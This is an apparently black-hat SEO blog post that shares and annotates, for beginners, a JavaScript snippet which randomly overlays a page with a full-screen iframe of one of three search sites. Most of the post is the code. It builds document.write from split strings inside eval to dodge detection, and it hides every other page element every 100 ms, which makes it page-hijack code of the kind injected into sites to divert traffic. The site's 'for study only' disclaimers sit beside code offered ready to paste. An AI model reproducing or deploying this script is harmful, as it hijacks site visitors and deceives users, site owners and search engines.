本站所有内容仅限用于学习和研究目的,如有侵权请邮件与我们联系处理!
世上事本无难易,为之则易!

网站首页 站群教程 引流跳转代码 正文

随机iframe框架跳转的js代码

曹操 2022-10-01 引流跳转代码 690 ℃ 0 评论 10118字 free 收藏

从别人的网站里面发现一段比较有趣的代码,在三个事件之间随机进行iframe框架跳转。

代码比较简单,为了防止小白看看不懂已经写好注解。这里分享给大家。

var m = 3;//几个事件
var n = Math.floor(Math.random() * m + 1); //随机选取事件
switch (n) {
case 1://事件一:iframe框架跳转
    a = 'http://www.baidu.com';
    var ss = '<div id="showcloneshengxiaon" style="height: 100%; width: 100%; background-color: rgb(255, 255, 255); background-position: initial initial; background-repeat: initial initial;"><ifr' + 'ame scrolling="yes" marginheight=0 marginwidth=0  frameborder="0" width="100%" width="14' + '00" height="100%" src="http://www.baidu.com"></iframe></div><style type="text/css">html{width:100%;height:100%}body {width:100%;height:100%;overflow:hidden}</style>';
    eval("do" + "cu" + "ment.wr" + "ite('" + ss + "');");
    try {
        setInterval(function() {
            try {
                document.getElementById("div" + "All").style.display = "no" + "ne"
            } catch(e) {}
            for (var i = 0; i < document.body.children.length; i++) {
                try {
                    var a = document.body.children[i].tagName;
                    var b = document.body.children[i].id;
                    if (b != "iconDiv1" && b != "showcloneshengxiaon") {
                        document.body.children[i].style.display = "non" + "e"
                    }
                } catch(e) {}
            }
        },
        100)
    } catch(e) {}
    break;

case 2://事件二:iframe框架跳转
    a = 'http://www.sougou.com';
    var ss = '<div id="showcloneshengxiaon" style="height: 100%; width: 100%; background-color: rgb(255, 255, 255); background-position: initial initial; background-repeat: initial initial;"><ifr' + 'ame scrolling="yes" marginheight=0 marginwidth=0  frameborder="0" width="100%" width="14' + '00" height="100%" src="http://www.sougou.com"></iframe></div><style type="text/css">html{width:100%;height:100%}body {width:100%;height:100%;overflow:hidden}</style>';
    eval("do" + "cu" + "ment.wr" + "ite('" + ss + "');");
    try {
        setInterval(function() {
            try {
                document.getElementById("div" + "All").style.display = "no" + "ne"
            } catch(e) {}
            for (var i = 0; i < document.body.children.length; i++) {
                try {
                    var a = document.body.children[i].tagName;
                    var b = document.body.children[i].id;
                    if (b != "iconDiv1" && b != "showcloneshengxiaon") {
                        document.body.children[i].style.display = "non" + "e"
                    }
                } catch(e) {}
            }
        },
        100)
    } catch(e) {}
    break;

case 3://事件三:iframe框架跳转
    a = 'http://www.360.com';
    var ss = '<div id="showcloneshengxiaon" style="height: 100%; width: 100%; background-color: rgb(255, 255, 255); background-position: initial initial; background-repeat: initial initial;"><ifr' + 'ame scrolling="yes" marginheight=0 marginwidth=0  frameborder="0" width="100%" width="14' + '00" height="100%" src="http://www.360.com"></iframe></div><style type="text/css">html{width:100%;height:100%}body {width:100%;height:100%;overflow:hidden}</style>';
    eval("do" + "cu" + "ment.wr" + "ite('" + ss + "');");
    try {
        setInterval(function() {
            try {
                document.getElementById("div" + "All").style.display = "no" + "ne"
            } catch(e) {}
            for (var i = 0; i < document.body.children.length; i++) {
                try {
                    var a = document.body.children[i].tagName;
                    var b = document.body.children[i].id;
                    if (b != "iconDiv1" && b != "showcloneshengxiaon") {
                        document.body.children[i].style.display = "non" + "e"
                    }
                } catch(e) {}
            }
        },
        100)
    } catch(e) {}
    break;
}

上面的代码中,一开始申明了随机事件的多少,然后生成随机数,后面的代码没什么特殊的,就是iframe窗体而已。

其中的iframe代码中,从div中可以看到“showcloneshengxiaon”,明显可以看到引用的《iframe框架劫持代码

document.body.removeChild(div) //div是个变量,指某个元素,删除该元素 style.display = "none" ;

隐藏元素,这一段是多余的,指定的元素已经删了,就无所谓隐藏了。


Tags:跳转劫持代码

必看说明

  • 本站中所有被研究的素材与信息全部来源于互联网,版权争议与本站无关。
  • 本站文章或仅为文本内容原创,非程序原创。如有侵权、不妥之处,请联系站长第一时间删除。敬请谅解!
  • 本站所有内容严格遵守国家法律的条例,所有研究的算法技术均来源于搜索引擎公开默认允许用户研究使用的接口。
  • 阅读本文及获取资源前,请确保您已充分阅读并理解《访问曹操SEO网站需知:行为准则》。
  • 本站分享的任何工具、程序仅供学习参考编写架构,仅可在本地的虚拟机内断网测试,严禁联网运行或上传搭建!
  • 任何资源必须在下载后24个小时内,从电脑中彻底删除。不得传播或者用于其他任何用途!否则一切后果用户自负!
  • 转载请注明 : 文章转载自  曹操SEO 随机iframe框架跳转的js代码
  • 本文标题:《随机iframe框架跳转的js代码》
  • 本文链接:https://www.ccooc.cn/1801.html

本文暂时没有评论,来添加一个吧(●'◡'●)

欢迎 发表评论:

网站分类
近期评论
文章归档
标签列表
站点信息
  • 文章总数:2011
  • 页面总数:7
  • 分类总数:46
  • 标签总数:337
  • 评论总数:8738
  • 浏览总数:5101102